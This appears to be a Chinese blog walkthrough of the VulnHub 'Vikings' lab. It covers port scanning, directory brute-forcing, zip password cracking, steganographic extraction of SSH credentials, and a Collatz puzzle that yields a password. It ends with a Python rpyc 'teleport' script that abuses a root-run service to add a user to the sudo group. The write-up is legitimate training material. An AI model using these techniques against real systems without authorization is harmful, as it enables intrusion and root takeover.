首页 > 其他分享 >vulnhub-Vikings

vulnhub-Vikings

时间:2023-10-10 20:22:22浏览次数:44  
标签:文件 sudo 这里 Vikings py vulnhub 我们 ragnar

第九周

打点

arp-scan -l

image-20230411185802112

发现主机

信息搜集

nmap -p- 192.168.56.12

image-20231010194036111

这里发现80端口存在http服务,直接使用浏览器进行访问。

nmap -p22,80 -sV 192.168.56.12

image-20231010194110936

image-20230411190431298

发现直接展示了目录。我们进行查看,这里因为它引用了一些国外的资源,加载比较慢。可能得好几分钟。进来之后就是这么一个页面,源代码是没有什么有用的信息的,主要是这段文字,这段文字说了英国人和维京人的战争故事,我们主要记住Ragnar这么个名字。

image-20230411191650677

然后接下来我们进行一个目录爆破的操作。这里使用我们之前用过的gubuster,给他指定一个简单的字典。如果没有wordlists字典可以使用如下的命令安装一下

sudo apt install seclists

image-20230411191903266

image-20230411191933492

gobuster dir -r -u http://192.168.56.12/site -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html

image-20230411192323922

这里我们如果使用dirsearch是扫不出这个东西来的,因为dirsearch是用来搜集目录的,所以我们使用gobuster

尝试去访问一下这个war.txt

image-20230411192517572

进一步访问

image-20230411192540821

得到一串字符

隐写

猜测是base64

使用解密网站解密

image-20230411192705661

得到一个PK开头的文件,根据misc的知识可得,这是一个压缩包的文件头,这里我们使用file进一步确认

image-20230411192915765

正如我们所猜想的那样,这是一个zip的压缩包

我们将他另存为1.zip

image-20230411193118339

尝试解压.发现需要密码

cp /usr/share/wordlists/rockyou.txt.gz   ./

先将字典加载到当前文件夹并解压

这里我们需要对这个密码进行爆破,这里还是使用john这个工具

zip2john 1.zip > hash

image-20230411200339875

使用脚本将这个文件先转换为hash。然后指定字典进行爆破

john hash --wordlist=rockyou.txt  

image-20230411194136892

这里爆破成功发现密码是ragnarok123

解压之后出现了这么一张图片。image-20230411195811003

binwalk king 

image-20230411195901418

发现有一个zip文件,使用-e参数将其提取出来

binwalk -e king

image-20230411200532567

root运行出现报错的话加上--run-as=root

image-20230411200628844运行完之后会出现文件文件夹,然后里面存在user这么个文件

image-20230411200741679

出现了一些文本信息,这里看格式很像是 ssh的登录账号格式。

这里需要多次尝试,得出账号密码是

floki  #账号名
f@m0usboatbuilde7  #密码

image-20230411200916421

发现成功登录

提权

image-20230411200958153

发现当前文件夹下有两个文件

查看得到上图的文件内容

image-20230411201127427

查看 /etc/passwd

cat /etc/passwd

可以看到存在ragnar这么个账户,上面说让我们找到他。那么有可能就是需要登录到这个账号。还有一个boat文件。我们再看看查看 /etc/passwd 可以看到存在ragnar这么个账户,上面说让我们找到他。那么有可能就是需要登录到这个账号。

image-20230411201236890

还有一个boat文件

这里就是说我们需要找到第29个质数,然后呢对它进行一个collatz-conjecture 的测试。

image-20230411201342336

翻译一下就是: 对任一个正整数。如果为偶数就除二,如果是奇数就乘3加1,最后都会变成1

所以我们需要先求出第29个质数。

因此我们需要写一个prime.py文件和一个collatz.py文件

prime.py

n = 0
for x in range(1000):
    if x < 2:
        continue
    h = int(x / 2) + 1
    for i in range(2, h):
        if x % i == 0:
            break
    else:
        n += 1
        print(n, ":", x)

第29个质数为109

image-20230411201805161

所以n 等于109

collatz.py

i = 109
c = [i]
while i != 1:
    if i % 2 == 1:
        i = i * 3 + 1
    else:
        i = i // 2
    #ascii字符最大为255
    if i < 256:
        c.append(i)
print(c)


result:
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

image-20230411201903391

使用cyperchef这两个模块筛选出可打印的ascii字符

image-20230411203952202

Hint:可打印字符-----在ASCII码中,第32~126号(共95个)是可打印字符,也就是在显示器上输出能够看得见的

image-20230411203231511

mR)|>^/Gky[gz=\.F#j5P(

这里我们也可以使用脚本直接提取.

i = 109
a= []
c = [i]
while i != 1:
    if i % 2 == 1:
        i = i * 3 + 1
    else:
        i = i // 2
    #ascii字符最大为255
    if i < 256:
        c.append(i)
print(c)
ascii_str = ''
for i in c:
    if  32<=i<=126:
        ascii_str += chr(i)
print(ascii_str)

这个应该就是ragnar这个账号的密码了,这个时候我们进行测试。使用ssh连接上之后输入密码。这里还会需要我们输入一个sudo密码。但是输入密码之后会提示我们也不是sudo组的成员。这里为什么会要求我们输入密码呢,其实就是可能存在某些自启动的程序。我们可以通过一些配置文件去查找。

 ssh [email protected] 

image-20230411204210786

我们先升级一下shell

/bin/bash

image-20230409161912038

查看一下刚才自启动的bash指令

image-20230411204710715

通过查看.profile这么个配置文件的时候会发现这里面有一个

sudo python3 /usr/local/bin/rpyc_classic.py  #这里就是调用sudo命令去执行

查看一下这个py文件的内容。

cat /usr/local/bin/rpyc_classic.py

image-20230411204945339

image-20230409162132445

第 2 部分:网络引用和异常 — RPyC

这个东西是一个远程服务,分为客户端和服务端。然后我们通过客户端连接上服务器就可以进行数据的通信。执行一些逻辑代码。

image-20230409162556568

第 1 部分:经典 RPyC 简介 — RPyC

这里简单阅读一下这个文档,就知道如何去使用它了。

首先就是上面的启动服务器和连接了。我们可以通过导入rpyc这个模块,然后使用它提供的方法去连接到启动的服务器。

image-20230409163945349

rpyc

然后这里告诉我们可以通过定义一些函数,然后使用teleport这个方法去传出到服务器执行。

image-20230409164140887

该文件属主是root,那么我们如果能去执行一些代码的话,那我们有可能就提权成为root

那我们就可以写一个简单的函数来进行提权

import rpyc
#连接本地服务器
conn = rpyc.classic.connect("localhost")

def shell():
    import os
    #这里是把ragnar添加到sudo组内
    os.system("sudo usermod -a -G sudo ragnar")

#传输函数
fn = conn.teleport(shell)
fn()

image-20230409164951402

python3 exp.py  #运行这个py文件

然后我们退出这个连接,重新连接一下这个账号。

 ssh [email protected]

mR)|>^/Gky[gz=\.F#j5P(
/bin/bash  #升级shell

sudo -s  #切换root

image-20230411205603362

成功拿下root

标签:文件,sudo,这里,Vikings,py,vulnhub,我们,ragnar
From: https://www.cnblogs.com/r1ng/p/vulnhub-Vikings.html

相关文章

  • vulnhub - Fawks - writeup
    信息收集目标开放了21的ftp有匿名登录,除此之外还有常规的80,和连个ssh的端口。80端口的是一张图片,就是哈利波特的海报图。anonymous空密码登上去有一个文件下载下来是二进制的文件上kali里面运行看看。可以看到这个进程,接着看他开启什么服务没有,看到他在9898开放了,输入魔......
  • vulnhub - Aragog - writeup
    信息收集目标开放了80、22端口。root@Locklytemp/tmp»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:fa:3d:23,IPv4:192.168.56.106Startingarp-scan1.10.0with256hosts(https://githu......
  • vulnhub_phpmyadmin_CVE-2016-5734漏洞复现
    漏洞复现练习漏洞简介phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持......
  • CewlKid(VulnHub)
    CewlKid(VulnHub)目录CewlKid(VulnHub)1、前期信息收集nmap扫描①存活主机②端口扫描、操作系统③漏洞探测④tcp、udp扫描gobuster目录爆破dirb目录爆破2、Web渗透部分思路一:SitemagicCMS漏洞库查询思路二:常规web渗透手法①信息收集②密码爆破,尝试进后台③上传webshell④拿下普通权......
  • 【Sword系列】Vulnhub靶机Bob_v1.0.1 writeup
    个人博客地址:  http://www.sword-blogs.com/下载地址:https://www.vulnhub.com/entry/bob-101,226/信息搜集扫描IP地址扫描端口及端口信息访问80端口并没有发现有用的信息扫描目录看到有熟悉的robots.txt,访问看一下发现了dev_shell.php,可以执行一些简单的命令,但是不......
  • vulnhub - lazySysAdmin - writeup
    信息收集可以看到目标开放了常见的22,80,139,445,3306这个6667的服务少见。root@kalitmp/lazySysAdmin»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:02:72:37,IPv4:192.168.56.102Startingarp-scan1.10.0with256hosts(https://github.com/r......
  • Napping - vulnhub - writeup
    Napping-vulnhub-writeup信息收集目标开放了22和80。root@kali~»arp-scan-Ieth1-lInterface:eth1,type:EN10MB,MAC:00:0c:29:02:72:37,IPv4:192.168.56.102Startingarp-scan1.10.0with256hosts(https://github.com/royhills/arp-scan)192.168.56.10......
  • 【vulnhub】——DC-9靶机
    【vulnhub】——DC-9靶机1.主机发现扫描kali主机C段(Kali和DC-9主机在同一个网关下):发现主机为192.168.108.146,进行详细端口扫描:可以看到靶机开了一个ssh和http服务。可以使用ssh弱密码爆破,但是可以看到22端口的状态是filter,这里先看web部分。2.SQL注入打开相应网页可以......
  • 《VulnHub》DarkHole:1
    @目录1:靶场信息2:打靶2.1:情报收集&威胁建模2.2:漏洞分析&渗透攻击3:总结3.1:命令&工具3.1.1:Nmap3.2:关键技术VulnHub打靶记录。官网:https://www.vulnhub.com攻击机为Kali-Linux-2023.2-vmware-amd64。KaliNATIP:192.168.8.10。1:靶场信息靶场网址:https://www.vulnhub.com/e......
  • Vulnhub:Kira: CTF靶机
    kali:192.168.111.111靶机:192.168.111.238信息收集端口扫描nmap-A-sC-v-sV-T5-p---script=http-enum192.168.111.238访问80端口点击upload发现是个上传点点击language发现存在文件包含上传php图片马再利用文件包含反弹shellhttp://192.168.111.238/languag......